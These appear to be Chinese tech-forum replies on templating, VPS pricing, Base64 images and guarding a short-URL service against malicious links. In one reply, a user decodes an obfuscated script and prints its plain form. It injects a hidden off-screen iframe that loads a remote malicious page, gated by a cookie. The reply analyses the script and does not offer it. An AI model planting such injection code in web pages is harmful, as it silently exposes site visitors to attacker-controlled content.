以前也写过PHP模板引擎，语法和LZ的差不多。
最后发现，是否易于维护取决于写的人…引入模板引擎将会导致结果代码复杂度上升，而带来的好处是很有限的。
最后我的选择是，如果足够简单，就用PHP自身代码，写得好看点，维护也很方便；如果确实需要，最好交给第三方开源模板引擎，他们维护得足够好（不过也不一定，我就是因为Smarty模板插件耗费性能太多而开始自己写）。

纸质的书排版上看上去有视觉冲击力，容易煽动人，推上神坛吧，就像红卫兵拿到了红宝书。
线上版本更容易让读者思考问题本身。

诚然，聪明人自己自然会分辨。
（小小地PS下：京东买到的rework有好多霉斑……）

这个价格对我没很大吸引力,vr的价格也差不多。

除了硬件，还注重「软实力」。
- 像调查户口一样的注册表单，连什么是必填的都没标注
- UI细节，体验
- windows的方案居然要比Linux的便宜，授权费？说明定价都是拍脑袋想出来的？
- 用什么来说服用户把心爱的网站放你的VPS上？

打造品牌是种艺术，吆喝之前不妨先好好处理下细节，包装下自己？

搜索 ascii art
例如
http://patorjk.com/software/taag/
http://www.glassgiant.com/ascii/

也是Markdown的作者（之一）吧

@hyh1048576 的思路不错，花密加的盐有点问题，推荐用帐号名作为盐，而不是「区分代号」。
不过估计也不会普及，所以说还是没有问题的……

问问题的人得到了回复的奖励，回答的人却得不到半毛感谢，没铜币还要给它现金充值，自己出钱回答别人的问题吗？？？
还真没见过这么莫名其妙的制度。

PING 113.10.165.57 (113.10.165.57): 56 data bytes
64 bytes from 113.10.165.57: icmp_seq=0 ttl=52 time=48.247 ms
64 bytes from 113.10.165.57: icmp_seq=1 ttl=52 time=45.458 ms
64 bytes from 113.10.165.57: icmp_seq=2 ttl=52 time=52.567 ms
64 bytes from 113.10.165.57: icmp_seq=3 ttl=52 time=43.316 ms
64 bytes from 113.10.165.57: icmp_seq=4 ttl=52 time=56.824 ms
64 bytes from 113.10.165.57: icmp_seq=5 ttl=52 time=98.044 ms
64 bytes from 113.10.165.57: icmp_seq=6 ttl=52 time=44.279 ms
64 bytes from 113.10.165.57: icmp_seq=7 ttl=52 time=41.962 ms

下载速度 600KB/S

浙江电信企业版

比起OPENVZ更喜欢KVM的，如果价格合理一定会买一个。
希望还是按每月流量的模式（并能达到这个下载速度）。

我的是 Early 2011的15寸mbp，加的是海盗船8G内存，升到10G。现在国内的价格和半年前转运来的价格差不多。

BASE64 编码过后的字符串尺寸更大（借助于gzip可能情况稍微好一点）

如果有多个小图，可以用这种方式来减少http请求数；其他情况下则不太适用。

我冲的100刀当时续费了两个域名，现在还有80多刀。

@won 以前线上用Linode跑magento，超过100%是常事……

cat /proc/cpuinfo

最后一句：
ww是window
"e"+vl是eval
z是
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled && document.cookie.indexOf('testcookie1=')==-1){
var stnm=rs();
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://reliablyrebroadcast.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
var exp=new Date();exp.setDate(exp.getDate()+7);
document.cookie='testcookie1='+rs()+'; expires='+exp.toGMTString();
}

直接chrome里console.log就出来了。

Linux下cpu超120%很正常，有几个CPU就是百分之几百。

@HowardMei 恶意网址有个特点：打一枪就跑，很多甚至用免费试用主机的三级域名来干，或者是免费域名，几天就失效。如果自己维护恶意网址库，费力且没用。
目前的安全机制是：
- 黑名单屏蔽。
- 在这么多安全软件里，就金山会用最快的速度来屏蔽。一开始三天两头要投诉(好在人工响应速度很快)，后来以最高优先级查金山的API后基本没这问题了。
- CROND每天扫描新加+热门网址(查询其他安全服务商)

@wenbinwu 还有是扫描队列（用户提交的恶意网址会导致杀毒软件直接屏蔽短网址，一定条件下会触发扫描，也配合了redis的使用）
其他就没了，主要是各类统计数据。
不到一定量无需考虑优化，等到有问题再解决也不迟，最重要的是最快速度出早期产品，由用户行为来决定开发的方向。

当然，个人觉得 @multiple1902 提供的答案很赞，提前考虑，后期会比较省事；不过不建议费太多时间在上面，除非你的目的是为了练手而不是产品自身。